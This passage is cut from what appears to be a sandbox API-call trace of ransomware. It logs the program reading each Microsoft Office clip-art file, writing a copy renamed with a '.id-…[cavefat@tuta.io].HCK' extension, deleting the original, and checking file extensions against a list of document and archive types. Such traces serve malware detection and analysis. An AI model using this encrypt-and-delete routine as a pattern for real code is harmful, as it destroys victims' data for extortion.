lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x550, lpOverlapped=0x0) returned 1 [0237.507] ReadFile (in: hFile=0x4d4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.507] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.507] SetEndOfFile (hFile=0x4ac) returned 1 [0237.507] CloseHandle (hObject=0x4ac) returned 1 [0237.507] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.507] SetEndOfFile (hFile=0x4d4) returned 1 [0237.509] CloseHandle (hObject=0x4d4) returned 1 [0237.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.509] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf")) returned 1 [0237.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0237.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0237.510] lstrlenW (lpString=".doc") returned 4 [0237.510] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.510] lstrlenW (lpString=".docx") returned 5 [0237.510] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0237.510] lstrlenW (lpString=".pdf") returned 4 [0237.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.510] lstrlenW (lpString=".xls") returned 4 [0237.510] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.510] lstrlenW (lpString=".xlsx") returned 5 [0237.510] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0237.510] lstrlenW (lpString=".ppt") returned 4 [0237.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0237.510] lstrlenW (lpString=".zip") returned 4 [0237.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.511] lstrlenW (lpString=".rar") returned 4 [0237.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.511] lstrlenW (lpString=".bz2") returned 4 [0237.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.511] lstrlenW (lpString=".7z") returned 3 [0237.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0237.511] lstrlenW (lpString=".dbf") returned 4 [0237.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0237.511] lstrlenW (lpString=".1cd") returned 4 [0237.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0237.511] lstrlenW (lpString=".jpg") returned 4 [0237.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0237.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0237.511] lstrlenW (lpString=".doc") returned 4 [0237.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.511] lstrlenW (lpString=".docx") returned 5 [0237.511] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0237.511] lstrlenW (lpString=".pdf") returned 4 [0237.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.511] lstrlenW (lpString=".xls") returned 4 [0237.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.511] lstrlenW (lpString=".xlsx") returned 5 [0237.511] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0237.511] lstrlenW (lpString=".ppt") returned 4 [0237.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0237.511] lstrlenW (lpString=".zip") returned 4 [0237.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.511] lstrlenW (lpString=".rar") returned 4 [0237.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.511] lstrlenW (lpString=".bz2") returned 4 [0237.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.511] lstrlenW (lpString=".7z") returned 3 [0237.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0237.511] lstrlenW (lpString=".dbf") returned 4 [0237.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0237.511] lstrlenW (lpString=".1cd") returned 4 [0237.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0237.512] lstrlenW (lpString=".jpg") returned 4 [0237.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.512] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.512] lstrlenW (lpString="J0152696.WMF") returned 12 [0237.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0237.512] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=7320) returned 1 [0237.512] CloseHandle (hObject=0x4d4) returned 1 [0237.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf")) returned 0x220 [0237.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0237.513] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.513] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0237.514] GetLastError () returned 0x0 [0237.514] ReadFile (in: hFile=0x4d4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x1c98, lpOverlapped=0x0) returned 1 [0237.516] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x1ca0, lpOverlapped=0x0) returned 1 [0237.517] ReadFile (in: hFile=0x4d4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.517] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.517] SetEndOfFile (hFile=0x4ac) returned 1 [0237.517] CloseHandle (hObject=0x4ac) returned 1 [0237.517] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.517] SetEndOfFile (hFile=0x4d4) returned 1 [0237.519] CloseHandle (hObject=0x4d4) returned 1 [0237.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf")) returned 1 [0237.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0237.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0237.520] lstrlenW (lpString=".doc") returned 4 [0237.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.520] lstrlenW (lpString=".docx") returned 5 [0237.520] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0237.521] lstrlenW (lpString=".pdf") returned 4 [0237.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.521] lstrlenW (lpString=".xls") returned 4 [0237.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.521] lstrlenW (lpString=".xlsx") returned 5 [0237.521] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0237.521] lstrlenW (lpString=".ppt") returned 4 [0237.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0237.521] lstrlenW (lpString=".zip") returned 4 [0237.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.521] lstrlenW (lpString=".rar") returned 4 [0237.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.521] lstrlenW (lpString=".bz2") returned 4 [0237.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.521] lstrlenW (lpString=".7z") returned 3 [0237.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0237.521] lstrlenW (lpString=".dbf") returned 4 [0237.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0237.521] lstrlenW (lpString=".1cd") returned 4 [0237.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0237.521] lstrlenW (lpString=".jpg") returned 4 [0237.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0237.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0237.521] lstrlenW (lpString=".doc") returned 4 [0237.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.521] lstrlenW (lpString=".docx") returned 5 [0237.521] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0237.521] lstrlenW (lpString=".pdf") returned 4 [0237.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.521] lstrlenW (lpString=".xls") returned 4 [0237.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.521] lstrlenW (lpString=".xlsx") returned 5 [0237.521] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0237.521] lstrlenW (lpString=".ppt") returned 4 [0237.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0237.521] lstrlenW (lpString=".zip") returned 4 [0237.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.521] lstrlenW (lpString=".rar") returned 4 [0237.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.521] lstrlenW (lpString=".bz2") returned 4 [0237.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.522] lstrlenW (lpString=".7z") returned 3 [0237.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0237.522] lstrlenW (lpString=".dbf") returned 4 [0237.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0237.522] lstrlenW (lpString=".1cd") returned 4 [0237.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0237.522] lstrlenW (lpString=".jpg") returned 4 [0237.522] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.522] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.522] lstrlenW (lpString="J0152698.WMF") returned 12 [0237.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0237.523] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=1208) returned 1 [0237.523] CloseHandle (hObject=0x4d4) returned 1 [0237.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf")) returned 0x220 [0237.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0237.524] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.524] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0237.525] GetLastError () returned 0x0 [0237.525] ReadFile (in: hFile=0x4d4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x4b8, lpOverlapped=0x0) returned 1 [0237.526] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0237.527] ReadFile (in: hFile=0x4d4, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.527] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.527] SetEndOfFile (hFile=0x4ac) returned 1 [0237.527] CloseHandle (hObject=0x4ac) returned 1 [0237.527] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.527] SetEndOfFile (hFile=0x4d4) returned 1 [0237.529] CloseHandle (hObject=0x4d4) returned 1 [0237.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf")) returned 1 [0237.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0237.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0237.530] lstrlenW (lpString=".doc") returned 4 [0237.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.530] lstrlenW (lpString=".docx") returned 5 [0237.530] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0237.530] lstrlenW (lpString=".pdf") returned 4 [0237.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.530] lstrlenW (lpString=".xls") returned 4 [0237.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.530] lstrlenW (lpString=".xlsx") returned 5 [0237.530] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0237.530] lstrlenW (lpString=".ppt") returned 4 [0237.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0237.531] lstrlenW (lpString=".zip") returned 4 [0237.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.531] lstrlenW (lpString=".rar") returned 4 [0237.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.531] lstrlenW (lpString=".bz2") returned 4 [0237.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.531] lstrlenW (lpString=".7z") returned 3 [0237.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0237.531] lstrlenW (lpString=".dbf") returned 4 [0237.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0237.531] lstrlenW (lpString=".1cd") returned 4 [0237.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0237.531] lstrlenW (lpString=".jpg") returned 4 [0237.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0237.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0237.531] lstrlenW (lpString=".doc") returned 4 [0237.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.531] lstrlenW (lpString=".docx") returned 5 [0237.531] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0237.531] lstrlenW (lpString=".pdf") returned 4 [0237.531] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.531] lstrlenW (lpString=".xls") returned 4 [0237.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.531] lstrlenW (lpString=".xlsx") returned 5 [0237.531] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0237.531] lstrlenW (lpString=".ppt") returned 4 [0237.531] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0237.531] lstrlenW (lpString=".zip") returned 4 [0237.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.531] lstrlenW (lpString=".rar") returned 4 [0237.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.531] lstrlenW (lpString=".bz2") returned 4 [0237.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.531] lstrlenW (lpString=".7z") returned 3 [0237.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0237.531] lstrlenW (lpString=".dbf") returned 4 [0237.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0237.531] lstrlenW (lpString=".1cd") returned 4 [0237.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0237.531] lstrlenW (lpString=".jpg") returned 4 [0237.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.532] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.532] lstrlenW (lpString="J0152702.WMF") returned 12 [0237.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0237.643] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=1208) returned 1 [0237.643] CloseHandle (hObject=0x568) returned 1 [0237.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf")) returned 0x220 [0237.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0237.649] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.649] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0237.650] GetLastError () returned 0x0 [0237.650] ReadFile (in: hFile=0x454, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x4b8, lpOverlapped=0x0) returned 1 [0237.651] WriteFile (in: hFile=0x564, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0237.652] ReadFile (in: hFile=0x454, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.652] WriteFile (in: hFile=0x564, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 